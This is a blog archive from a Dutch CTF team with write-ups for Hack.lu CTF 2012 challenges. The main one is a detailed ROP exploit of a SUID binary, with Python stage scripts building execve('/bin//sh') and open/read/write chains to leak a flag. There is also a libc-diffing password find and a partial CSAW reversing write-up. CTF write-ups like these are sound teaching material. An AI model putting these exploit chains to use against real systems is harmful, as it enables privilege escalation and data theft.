team pong

Dutch CTF "team pong" write-ups and other stuff

Archive for October 2012

Hack.lu CTF 2012 – #9 Braincpy (300 points)

with 2 comments

Challenge
Zombies do not only tend to eat brains, they also tend to write unsecure code! Looks like they don’t even know how to use stringcopy functions correctly, so there should be no problem for you to exploit this most simple of all bugs, right?

SSH: ctf.fluxfingers.net
PORT: 2091
USER: ctf
PASS: y7iisp7yspxqy892

Let’s login.

            OMG HECKER BRAINZ
                           \
                                .....
                               C C  /
                              /<   /
               ___ __________/_#__=o
              /(- /(\_\________   \
              \ ) \ )_      \o     \
              /|\ /|\       |'     |
                            |     _|        hack.lu
                            /o   __\         CTF'12
                           / '     |
                          / /      |
                         /_/\______|
                        (   _(    <
                         \    \    \
                          \    \    |
                           \____\____\
                           ____\_\__\_\
                         /`   /`     o\
                         |___ |_______|..

Use /tmp/<YOUR UNGUESSABLE DIRNAME> for your work!
ctf@braincpy:~$ ls -la
total 716
drwxr-xr-x 2 ctf      ctf        4096 Oct 19 19:58 .
drwxr-xr-x 3 root     root       4096 Oct 19 19:41 ..
-rw-r--r-- 1 ctf      ctf        3486 Oct 19 19:41 .bashrc
-rw-r--r-- 1 ctf      ctf         675 Oct 19 19:41 .profile
-r-------- 1 braincpy braincpy     24 Oct 19 19:57 FLAG
-rwsr-sr-x 1 braincpy braincpy 710026 Oct 19 19:57 braincpy
$ file braincpy
braincpy: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.9, not stripped
$ md5sum braincpy
902d8095b497efe669705d3492211d8c  braincpy

The binary has a SUID bit and owner is braincpy. We have credentials for user ctf
In the same directory, there is file FLAG with only read permission for owner braincpy. We have to exploit the binary and retrieve the FLAG using SUID permission of braincpy.

Let’s try running it:

$ ./braincpy
NO!

It appears the binary expects arguments. This can be confirmed by looking at the decompiled C in IDA/Hex-Rays

signed int __cdecl main(int argc, char **argv, char **envp)
{
  int v3; // eax@2
  int v4; // eax@4
  int v5; // eax@4
  signed int result; // eax@5
  size_t v7; // [sp+8h] [bp-58h]@0
  char v8[80]; // [sp+10h] [bp-50h]@8

  for ( i = 0; envp[i]; ++i )
  {
    v3 = strlen(envp[i]);
    memset(envp[i], 0, v3);				
**** Observation: environment is wiped. 
**** I renamed this unnamed function to memset. 
**** The implementation uses MMX instructions
  }
  v4 = getuid();
  seteuid(v4);							
**** Observation: EUID and EGID are set to RUID and RGID
  v5 = getgid();
  setegid(v5);
  if ( argc == 2 )
  {
    if ( strlen(argv[1]) <= 96u )		
**** Observation: argument may not be larger than 96 bytes
    {
      puts("NOMNOMNOM!");
      strcpy(v8, argv[1], v7);			
**** Observation: I renamed this unnamed function to strcpy. 
**** The implementation uses MMX instructions
      result = 0;
    }
    else
    {
      puts("NO!");
      result = -1;
    }
  }
  else
  {
    puts("NO!");
    result = -1;
  }
  return result;
}

What happens if we use an argument of exactly 96 bytes:

$ gdb ./braincpy
(gdb) r `python -c "print 'A'*96"`
Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy `python -c "print 'A'*96"`
NOMNOMNOM!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

We have overwritten the EIP. Now let’s determine at which offset in our data we have to put the address we want to jump to. we’ll use Metasploit pattern_create for that.

$ ruby /opt/metasploit-4.4.0/msf3/tools/pattern_create.rb 96
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1

Let’s use this pattern with our binary.

$ gdb ./braincpy

(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
NOMNOMNOM!

Program received signal SIGSEGV, Segmentation fault.
0x31644130 in ?? ()
(gdb)

We’ve overwritten the EIP with 0x31644130, which is ‘0Ad1’. Let’s see where the offset in the pattern is with Metasploit pattern_offset.

$ ruby /opt/metasploit-4.4.0/msf3/tools/pattern_offset.rb 0Ad1 96
92

The exploit the program, we need to send something like:
’92 bytes op shellcode’ + ‘jmp address’.

First, let’s check whether the stack is executable:

$ readelf -l braincpy

Elf file type is EXEC (Executable file)
Entry point 0x80482f0
There are 7 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0x9b6ef 0x9b6ef R E 0x1000
  LOAD           0x09bf90 0x080e4f90 0x080e4f90 0x00cd0 0x023fc RW  0x1000
  NOTE           0x000114 0x08048114 0x08048114 0x00020 0x00020 R   0x4
  TLS            0x09bf90 0x080e4f90 0x080e4f90 0x00010 0x00028 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
  GNU_RELRO      0x09bf90 0x080e4f90 0x080e4f90 0x00070 0x00070 R   0x1
  LOOS+5041580   0x000000 0x00000000 0x00000000 0x00000 0x00000     0x4

 Section to Segment mapping:
  Segment Sections...
   00     .note.ABI-tag .rel.plt .init .plt .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_atexit __libc_subfreeres __libc_thread_subfreeres .eh_frame .gcc_except_table
   01     .tdata .init_array .fini_array .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs
   02     .note.ABI-tag
   03     .tdata .tbss
   04
   05     .tdata .init_array .fini_array .ctors .dtors .jcr .data.rel.ro .got
   06

No, it isn’t. As it turns out, the stack is also randomized. So, let’s try ROP-ing! Never done that before. We have a staticly linked binary, so there should be several useful gadgets in the binary.

First, let’s have a look at the stack when the program crashes:

$ gdb ./braincpy
(gdb) r `python -c "print 'A'*92 + 'B'*4"`
Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy `python -c "print 'A'*92 + 'B'*4"`
NOMNOMNOM!

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

(gdb) x/26x $esp -100
0xbffff60c:     0x00000000      0x41414141      0x41414141      0x41414141
0xbffff61c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff62c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff63c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff64c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff65c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff66c:     0x42424242      0x00000000
(gdb)

The first gadget we need is to change ESP to the start of our input: 0xbfffff10, which is at offset -96.

Gadgets can be found using several techniques. We used ROPGadet tool and Metasploit’s msfrop.

$ ROPgadget -v
RopGadget - Release v3.4.1
Jonathan Salwan - twitter @JonathanSalwan
http://www.shell-storm.org

$ ROPgadget -g -file braincpy > gadgets.1

$ /opt/metasploit-4.4.0/msf3/msfrop -x gadgets.2 braincpy

Both gadget files can be grepped for ROP gadgets.

We came up with the following gadget to shift the ESP pointer to the begin of our input

0x080df815: add esp, [ebp+0ah] ; ret

We have to setup ebp in a way that ebp+0ah points to value -96 (= 0xFFFFFFA0)
We search for this value using IDA (search menu/sequence of bytes…): 0x08086C1C

So we have to put (0x08086C1C – 0ah) into EBP. EBP will be restored (as usual during function epilogue) just before returning and overwriting EIP. This results in the following template:

’88 bytes rop gagets’ + 0x08086C12 + 0x080df815

Let’s test that:
– Setup a breakpoint at the return from the main function
– Send the crafted input
– Step 3x

(gdb) b *0x080484E0
Breakpoint 1 at 0x80484e0

(gdb) set disassemble-next-line on

(gdb) r `python -c "import struct; print 'A' * 4 + 'B'*84 + struct.pack('<I', 0x08086C12) + struct.pack('<I', 0x080df815)"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy `python -c "import struct; print 'A' * 4 + 'B'*84 + struct.pack('<I', 0x08086C12) + struct.pack('<I', 0x080df815)"`
NOMNOMNOM!

Breakpoint 1, 0x080484e0 in main ()
=> 0x080484e0 <main+240>:       c3      ret

(gdb) ni
0x080df815 in ?? ()
=> 0x080df815:  03 65 0a        add    0xa(%ebp),%esp

(gdb) ni
0x080df818 in ?? ()
=> 0x080df818:  c3      ret

(gdb) i r
eax            0x0      0
ecx            0xbffff890       -1073743728
edx            0xbffff66b       -1073744277
ebx            0x0      0
esp            0xbffff610       0xbffff610
ebp            0x8086c12        0x8086c12
esi            0x8048ba0        134515616
edi            0x8048b00        134515456
eip            0x80df818        0x80df818
eflags         0x200283 [ CF SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) x/30x $esp
0xbffff610:     0x41414141      0x42424242      0x42424242      0x42424242
0xbffff620:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff630:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff640:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff650:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff660:     0x42424242      0x42424242      0x08086c12      0x080df815
0xbffff670:     0x00000000      0xbffff6f4      0xbffff700      0x00000000
0xbffff680:     0x00000000      0x08048ba0

– next instruction is: ret. Will pop value of ESP into EIP
– ESP points to begin of our buffer

(gdb) ni
0x41414141 in ?? ()
=> 0x41414141:  Cannot access memory at address 0x41414141

Next phase: putting some useful ROP gadgets on the stack.

One nice thing of ROPGadget is that it will output all necessary gadgets for execve(“/bin/sh”). I’ve added some comments to clarify what is done.

# execve /bin/sh generated by RopGadget v4.0
# These gadgets will put string “/bin” at address 0x080e5060

1	p += pack("<I", 0x0805adec) # pop %edx ; ret
2	p += pack("<I", 0x080e5060) # @ .data
3	p += pack("<I", 0x080beb89) # pop %eax ; ret
4	p += "/bin"
5	p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret

# These gadgets will put string “//sh” at address 0x080e5064
# effectively, 0x080e5060 now contains string “/bin//sh”

6	p += pack("<I", 0x0805adec) # pop %edx ; ret
7	p += pack("<I", 0x080e5064) # @ .data + 4
8	p += pack("<I", 0x080beb89) # pop %eax ; ret
9	p += "//sh"
10	p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret

# We need to NULL terminate the string. There might not be
# a null byte at address 0x080e5068

11	p += pack("<I", 0x0805adec) # pop %edx ; ret
12	p += pack("<I", 0x080e5068) # @ .data + 8
13	p += pack("<I", 0x08054e90) # xor eax, eax ; ret
14	p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret

# Prepare the arguments for the syscall
# execve(“/bin//sh”, 0, 0)
# for all system calls, the first, second and third argument
# are put in ebx, ecx and edx respectively.
# Note that the address 0x080e5060 points to “/bin//sh”
# and 0x080e5068 points to null

15	p += pack("<I", 0x080516cb) # pop %ebx ; ret
16	p += pack("<I", 0x080e5060) # @ .data
17	p += pack("<I", 0x080dbc2c) # pop %ecx ; ret
18	p += pack("<I", 0x080e5068) # @ .data + 8
19	p += pack("<I", 0x0805adec) # pop %edx ; ret
20	p += pack("<I", 0x080e5068) # @ .data + 8

# put the syscall number for execve into eax
# syscall number for execve is 11

21	p += pack("<I", 0x08054e90) # xor %eax,%eax ; ret
22	p += pack("<I", 0x080998d2) # inc %eax ; ret
23	p += pack("<I", 0x080998d2) # inc %eax ; ret
24	p += pack("<I", 0x080998d2) # inc %eax ; ret
25	p += pack("<I", 0x080998d2) # inc %eax ; ret
26	p += pack("<I", 0x080998d2) # inc %eax ; ret
27	p += pack("<I", 0x080998d2) # inc %eax ; ret
28	p += pack("<I", 0x080998d2) # inc %eax ; ret
29	p += pack("<I", 0x080998d2) # inc %eax ; ret
30	p += pack("<I", 0x080998d2) # inc %eax ; ret
31	p += pack("<I", 0x080998d2) # inc %eax ; ret
32	p += pack("<I", 0x080998d2) # inc %eax ; ret

# Execute systemcall

33	p += pack("<I", 0x0804891f) # int $0x80

One major problem with this gadget chain is that it is too large. It now consists of 33 dwords and I only have room for 22 dwords (88 bytes). Now starts the real puzzle: finding other gadgets that will do the same.

First thing I did was finding a memory address that contains some null bytes.

  • I changed the address at linenumber 2, 7, 16, 18 and 20 to 0x080E50A0, 0x080E50A4 and 0x080E50A8
  • As /bin and //sh are copied into a area with null bytes, there is no need to null terminate the string. So I removed 11-14
  • Find a more efficient way of putting 11 into eax. I came up with:
	p += pack("<I", 0x080beb89) # pop %eax ; ret
	p += pack("<I", 0x1111111C) # 
	p += pack("<I", 0x080dbc2c) # pop %ecx ; ret
	p += pack("<I", 0x11111111) # 
	p += pack("<I", 0x080746c8) # sub eax,ecx

Note: we can’t use null bytes (remember, strcpy). Otherwise the following gadgets would be smaller:

	p += pack("<I", 0x080beb89) # pop %eax ; ret
	p += pack("<I", 11) # 

Finally, this results in the following python script:

## attempt1.py #########################################################
import sys
from struct import pack

p=''

# get /bin/ssh into memory
p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 0x080E50A0) # @ .data + 20h
p += pack("<I", 0x080beb89) # pop %eax ; ret
p += "/bin"
p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret
p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 0x080E50A4) # @ .data + 24h
p += pack("<I", 0x080beb89) # pop %eax ; ret
p += "//sh"
p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret

# get 11 in eax
p += pack("<I", 0x080beb89) # pop %eax ; ret
p += pack("<I", 0x1111111C) # 
p += pack("<I", 0x080dbc2c) # pop %ecx ; ret
p += pack("<I", 0x11111111) # 
p += pack("<I", 0x080746c8) # sub eax,ecx

# prepare for syscall
p += pack("<I", 0x080516cb) # pop %ebx ; ret
p += pack("<I", 0x080e50A0) # @ .data + 20h
p += pack("<I", 0x080dbc2c) # pop %ecx ; ret
p += pack("<I", 0x080E50A8) # @ .data + 28h
p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 0x080E50A8) # @ .data + 28h

# syscall
p += pack("<I", 0x0804891f) # int $0x80

gadgets = p + 'A' * (88-len(p))

# ebp-0ah must point to: FFFFFFA0, 
# this will pivot ESP to begin of our buffer
ebp=0x08086C1C - 10
address = 0x080df815	# add esp, [ebp+0ah] ; ret

buf = gadgets + pack('I', ebp) + pack('I', address)

sys.stdout.write(buf)
########################################################################

Let’s try it.

ctf@braincpy:~$ ./braincpy "`python /tmp/my_secret_tmp_dir/attempt1.py`"
NOMNOMNOM!
$ cat FLAG
cat: FLAG: Permission denied
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$

Alright, I forgot the seteuid(‘ctf’) call from the program. I have to squeeze gadgets for a seteuid(1001) into the chain. The binary still has symbols. With ROPGadget, it is also possible to dump the symbol table:

$ ROPgadget -file braincpy -symtab > functions

Now, find the seteuid function:

$ grep uid functions
403   08085220  00000010   geteuid
4a7   08059770  00000010   getuid
6c1   08059ad0  00000082   seteuid
768   08059770  00000010   __getuid
843   08085220  00000010   __geteuid

The function call seteuid(1001) could be executed with the following gadgets:

p += pack("<I", seteuid) # seteuid
p += pack("<I", 0x0805adec) # pop %edx ; ret	=> pop arguments for function call
p += pack("<I", 1001) # arg for seteuid 

But, our payload may not contain null bytes. We need something different. I looked at the linux syscall table and found syscall setreuid (70/46h). It expects ruid in ebx and euid in ecx:

mov ebx, -1
mov ecx, 1001
mov eax, 23
int 80h

In the end I found these gadgets:
# mov ebx, -1:

1	p += pack("<I", 0x080516cb) # pop ebx ; ret
2	p += pack("<I", 0xFFFFFFFF) # => ebx

# mov ecx, 3e9h:

3	p += pack("<I", 0x0805d403) # mov ecx, 890003c4h		; ecx = 890003c4h
4	p += pack("<I", 0x080483a8) # pop ebp ; ret
5	p += pack("<I", 0x01010101) # => ebp
6	p += pack("<I", 0x080a56a5) # add ecx, ebp				; ecx = 8A0104C5h
7	p += pack("<I", 0x080483a8) # pop ebp ; ret
8	p += pack("<I", 0x75feff24) # => ebp
9	p += pack("<I", 0x080a56a5) # add ecx, ebp				; ecx = 3e9h (=1001)

# mov eax, 23

10	p += pack("<I", 0x080beb89) # pop %eax ; ret
11	p += pack("<I", 0xFFFFFFBA) # => EAX
12	p += pack("<I", 0x08054e7f) # neg eax |†ret

	# syscall
13	p += pack("<I", 0x0805b5c0) # int $0x80	

However, this will sum up to a number of gadgets that won’t fit in my payload. I only have room for 22 gadgets. So, time to change strategy. Maybe I can allocate some memory, mark it writable and exectuable, memcpy shellcode to it and execute from there? I should be able to read extra data from stdin. Or, I could read extra gadgets from stdin into a writable memory section and pivit the ESP to that location:

Reading from stdin, using syscall read(fd, buffer, size)

ebx = 0				# 0=stdin
ecx = 0x080E5C60		# => points to writable memory (.bss section)
edx = 0x01010101		# lenth of data to read
eax = 3				# syscall for read

# Setup registers

1	p += pack("<I", 0x0805ae15) # pop edx ; pop ecx ; pop ebx ; ret
2	p += pack("<I", 0x01010101) # => edx
3	p += pack("<I", 0x080E5C60) # => ecx
4	p += pack("<I", 0xFFFFFFFF) # => ebx
5	p += pack("<I", 0x080ac880) # inc ebx ; ret				# ebx = 0
6	p += pack("<I", 0x080aa810) # mov eax, 0x00000003 ; ret

# syscall

7	p += pack("<I", 0x0805b5c0) # int $0x80

# ESP Pivot

8	p += pack("<I", 0x080beb89) # pop %eax ; ret
9	p += pack("<I", 0x080E5C60) # => EAX
10	p += pack("<I", 0x080b3b1f) # xchg esp, eax

Wow! Only 10 gadgets.

The python code for the first stage of the payload:

## stage1.py ###########################################################
import sys
from struct import pack

p=''

# Setup registers
p += pack("<I", 0x0805ae15) # pop edx ; pop ecx ; pop ebx ; ret
p += pack("<I", 0x01010101) # => edx
p += pack("<I", 0x080E5C60) # => ecx
p += pack("<I", 0xFFFFFFFF) # => ebx
p += pack("<I", 0x080ac880) # inc ebx ; ret				# ebx = 0
p += pack("<I", 0x080aa810) # mov eax, 0x00000003 ; ret

# syscall
p += pack("<I", 0x0805b5c0) # int $0x80

# ESP Pivot
p += pack("<I", 0x080beb89) # pop %eax ; ret
p += pack("<I", 0x080E5C60) # => EAX
p += pack("<I", 0x080b3b1f) # xchg esp, eax

gadgets = p + 'A' * (88-len(p))

# ebp-0ah must point to: FFFFFFA0, 
# this will pivot ESP to begin of our buffer
ebp=0x08086C1C - 10
address = 0x080df815	# add esp, [ebp+0ah] ; ret

buf = gadgets + pack('I', ebp) + pack('I', address)

sys.stdout.write(buf)
########################################################################

For the second stage, we need the setreuid gadget chain and the execve chain:

## stage2.py ###########################################################
import sys
from struct import pack

p=''

#### setreuid(-1, 1001) #########################
# mov ebx, -1:
p += pack("<I", 0x080516cb) # pop ebx ; ret
p += pack("<I", 0xFFFFFFFF) # => ebx

# mov ecx, 3e9h:
p += pack("<I", 0x0805d403) # mov ecx, 890003c4h		; ecx = 890003c4h
p += pack("<I", 0x080483a8) # pop ebp ; ret
p += pack("<I", 0x01010101) # => ebp
p += pack("<I", 0x080a56a5) # add ecx, ebp				; ecx = 8A0104C5h
p += pack("<I", 0x080483a8) # pop ebp ; ret
p += pack("<I", 0x75feff24) # => ebp
p += pack("<I", 0x080a56a5) # add ecx, ebp				; ecx = 3e9h (=1001)

# mov eax, d0h
p += pack("<I", 0x080beb89) # pop %eax ; ret
p += pack("<I", 0xFFFFFFBA) # => EAX
p += pack("<I", 0x08054e7f) # neg eax | ret

# syscall
p += pack("<I", 0x0805b5c0) # int $0x80	

#### execve("/bin//sh, 0, 0) #########################
# get /bin/ssh into memory
p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 0x080E50A0) # @ .data
p += pack("<I", 0x080beb89) # pop %eax ; ret
p += "/bin"
p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret

p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 0x080E50A4) # @ .data + 4
p += pack("<I", 0x080beb89) # pop %eax ; ret
p += "//sh"
p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret

p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 0x080e5068) # @ .data + 8
p += pack("<I", 0x08054e90) # xor eax, eax ; ret
p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret

# get 11 in eax
p += pack("<I", 0x080beb89) # pop %eax ; ret
p += pack("<I", 0x1111111C) # 
p += pack("<I", 0x080dbc2c) # pop %ecx ; ret
p += pack("<I", 0x11111111) # 
p += pack("<I", 0x080746c8) # sub eax,ecx

# prepare for syscall
p += pack("<I", 0x080516cb) # pop %ebx ; ret
p += pack("<I", 0x080e50A0) # @ .data
p += pack("<I", 0x080dbc2c) # pop %ecx ; ret
p += pack("<I", 0x080E50A8) # @ .data + 8
p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 0x080E50A8) # @ .data + 8

# syscall
p += pack("<I", 0x0805b5c0) # int $0x80	

sys.stdout.write(p)
########################################################################

If we try it, we get:

ctf@braincpy:/tmp/my_secret_tmp_dir$ python stage2.py | ~/braincpy "`python stage1.py`"
NOMNOMNOM!
ctf@braincpy:/tmp/my_secret_tmp_dir$

Unfortunately, still not a shell. That’s frustrating. Let’s try reading the flag.

Strategy:

  • open(“./FLAG”, 0, 0)
  • read(3, buf, 24); 3 is the next free fd for the just opened file
  • write(stdout, buf, 24)
  • Note: we can use null bytes
## new_stage2.py ###########################################################
from struct import pack
import sys

p=''

# seteuid(1001) #####################################
p += pack("<I", 0x0805d403) # mov ecx, 890003c4h
p += pack("<I", 0x080beb89) # pop %eax ; ret
p += pack("<I", 0xFFFFFFBA) # => EAX
p += pack("<I", 0x0808aaef) # neg eax | pop ebp ; ret
p += pack("<I", 0x01010101) # => ebp
p += pack("<I", 0x080a56a5) # add ecx, ebp
p += pack("<I", 0x080483a7) # pop ebx ; pop ebp ; ret
p += pack("<I", 0xFFFFFFFF) # => ebx
p += pack("<I", 0x75feff24) # => ebp				
p += pack("<I", 0x080a56a5) # add ecx, ebp
p += pack("<I", 0x0805b5c0) # int $0x80

### read flag #####################################
# Store "./FLAG" to memory (at 0x080e5060)
p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 0x080e5060) # @ .data
p += pack("<I", 0x080beb89) # pop %eax ; ret
p += ".///"
p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret
p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 0x080e5064) # @ .data + 4
p += pack("<I", 0x080beb89) # pop %eax ; ret
p += "FLAG"
p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret
p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 0x080e5068) # @ .data + 8
p += pack("<I", 0x08054e90) # xor eax, eax ; ret
p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret

# open(".///FLAG", 0, 0) #####################################
 	# mov eax, 5     		; sys_open
	# mov ebx, 0x080e5060	; filename
	# mov ecx, 0     		; o_RDONLY
	# mov edx, 0     		; mode
	# int 80h       		; Call the kernel
p += pack("<I", 0x080aa830) # mov eax, 0x00000005 ; ret
p += pack("<I", 0x080516cb) # pop %ebx ; ret
p += pack("<I", 0x080e5060) # @ .data
p += pack("<I", 0x080dbc2c) # pop %ecx ; ret
p += pack("<I", 0) 
p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 0) 
p += pack("<I", 0x0805b5c0) # int $0x80

# read(3, buf, len) #####################################
	# mov ebx, 3 			; fd 
	# mov ecx, 0x080e5080	; buf
	# mov edx, 24			; len
	# mov eax, 3 			; sys_read
	# int 80h
p += pack("<I", 0x080aa810) #: mov eax, 0x00000003 ; ret
p += pack("<I", 0x080516cb) # pop %ebx ; ret
p += pack("<I", 3) 			# fd
p += pack("<I", 0x080dbc2c) # pop %ecx ; ret
p += pack("<I", 0x080e5080) # @ .data
p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 24) 		# length
p += pack("<I", 0x0805b5c0) # int $0x80

# write(1, buf, len) #####################################
	# mov ebx, 1 			; fd 
	# mov ecx, 0x080e5080	; buf
	# mov edx, 24			; len
	# mov eax, 5 			; sys_write
	# int 80h

p += pack("<I", 0x080aa820) #: mov eax, 0x00000004 ; ret
p += pack("<I", 0x080516cb) # pop %ebx ; ret
p += pack("<I", 1) 			# stdout
p += pack("<I", 0x080dbc2c) # pop %ecx ; ret
p += pack("<I", 0x080e5080) # @ .data
p += pack("<I", 0x0805adec) # pop %edx ; ret
p += pack("<I", 24) 		#length
p += pack("<I", 0x0805b5c0) # int $0x80

sys.stdout.write(p)
sys.stderr.write('Size: %d\n' % len(p))
########################################################################


And let's try this one:

ctf@braincpy:~$ python /tmp/my_secret_tmp_dir/new_stage2.py | ./braincpy "`python /tmp/my_secret_tmp_dir/stage1.py`"
Size: 196
NOMNOMNOM!
ROP_GOLF_IS_A_NICE_GAME
Segmentation fault
ctf@braincpy:~$

Yeah! The key is: ROP_GOLF_IS_A_NICE_GAME

Pff. I still don’t quite understand why I couldn’t get a shell, however. In the end it was a real challenge to master return oriented programming.

Written by teampong

October 27, 2012 at 9:05 am

Posted in Uncategorized

Hack.lu CTF 2012 – 6th place!

leave a comment »

Hack.lu is over. Great CTF with very nice and sometimes very difficult challenges. Thumbs up for the organisers – FluxFingers, thanks gents. Lots of reverse engineering and exploitation again, but also some nice web-challenges. We had a slightly bigger team then before and it showed, we could handle more challenges and scored more points.

End result is 6th place and we are happy with that. We even finished as first NL team, one place above De Eindbazen and those guys are very good.

See you all at the next CTF, we are sharpening our swords and are looking forward to it.

team pong signing off and getting some rest πŸ™‚

Written by teampong

October 25, 2012 at 3:10 pm

Posted in Uncategorized

Hack.lu CTF 2012 – #18 Zombie Lockbox (200 points)

with one comment

Challenge

Some zombies use a lock box with a not so complicated authentication system to hide their food (brains) from unwanted thieves. Since non-infested brains are rare these days, you desperately need one for your local science team for dissection, so they can continue working on some sort of cure again. So, are you able to open one of these rare lockboxes? 

SSH: ctf.fluxfingers.net 
PORT: 2094 
USER: ctf 
PASS: LkxiPPsxYzzsxf

Let’s see what we have here.

# md5sum zombie-lockbox
aad4ea4ccfc0a402c70681ddabe27d1f  zombie-lockbox
# file zombie-lockbox
zombie-lockbox: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped

Load this one in IDA.

.text:08048539                 mov     eax, offset aZ0mb1ez_haq_te ; &quot;z0mb1ez_haq_teh_sh1t&quot;

A local run confirms this is the password. Wooot! But….on the CTF server is does not accept this password, there is something strange going on here. It seems our executable is linked against libc (duh) but libc has been changed. We can see a libc.so.6 and libc.so.6.bak file on the CTF server. Are we going to load these into IDA or use a more powerful method. πŸ˜‰

# strings -a libc.6.so > v1
# strings -a libc.6.so.bak > v2
# diff v1 v2
3575,3579c3575,3578
> @dlol_
> @hz0mb
> @l1ez_
> @pc4nt
> @t_haq

We found the following password: lol_z0mb1ez_c4nt_haq. Inputting this on the CTF server as password gave us the answer key.

Answer key: GETEUID_YOU_NASTY_BITCH

Written by teampong

October 25, 2012 at 10:00 am

Posted in Uncategorized

Hack.lu CTF 2012 – We’re competing

leave a comment »

We are competing in Hack.Lu 12 organised by FluxFingers. Again a very nice CTF, lots of interesting challenges. Nice work by the FluxFingers people! Let’s see where we end up after the CTF is over. 10th place right now, when more team members wake up we must score some extra points.

Let’s score that Recon challenge ;).

Happy hacking to everybody.

Written by teampong

October 24, 2012 at 5:48 am

Posted in Uncategorized

CSAW 2012 – Reversing 400

leave a comment »

$ md5sum re400
1c58c4a9b3caaa41b7f377c898baaaee  re400
$ file re400
re400: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x012c3cf67d5aa15a9985ea064958921dc600c367, not stripped

Let’s open the binary in IDA.

The key is in plain sight:

.text:0000000000400650                 mov     [rbp+key], 9Ch
.text:0000000000400654                 mov     [rbp+key+1], 8Ch
.text:0000000000400658                 mov     [rbp+key+2], 9Eh
.text:000000000040065C                 mov     [rbp+key+3], 88h
.text:0000000000400660                 mov     [rbp+key+4], 96h
.text:0000000000400664                 mov     [rbp+key+5], 8Ch
.text:0000000000400668                 mov     [rbp+key+6], 8Ch
.text:000000000040066C                 mov     [rbp+key+7], 90h
.text:0000000000400670                 mov     [rbp+key+8], 97h
.text:0000000000400674                 mov     [rbp+key+9], 9Eh
.text:0000000000400678                 mov     [rbp+key+0Ah], 8Dh
.text:000000000040067C                 mov     [rbp+key+0Bh], 9Bh
.text:0000000000400680                 mov     [rbp+key+0Ch], 0A0h
.text:0000000000400684                 mov     [rbp+key+0Dh], 0A0h
.text:0000000000400688                 mov     [rbp+key+0Eh], 0C5h
.text:000000000040068C                 mov     [rbp+key+0Fh], 0D7h
.text:0000000000400690                 mov     [rbp+key+10h], 0

As is the decryption routine:

.text:00000000004005F3 decrypt         proc near               ; CODE XREF: .text:00000000004006CAp
.text:00000000004005F3
.text:00000000004005F3 key             = qword ptr -18h
.text:00000000004005F3 var_4           = dword ptr -4
.text:00000000004005F3
.text:00000000004005F3                 push    rbp
.text:00000000004005F4                 mov     rbp, rsp
.text:00000000004005F7                 mov     [rbp+key], rdi
.text:00000000004005FB                 mov     [rbp+var_4], 0
.text:0000000000400602                 jmp     short loc_40061E
.text:0000000000400604 ; ---------------------------------------------------------------------------
.text:0000000000400604
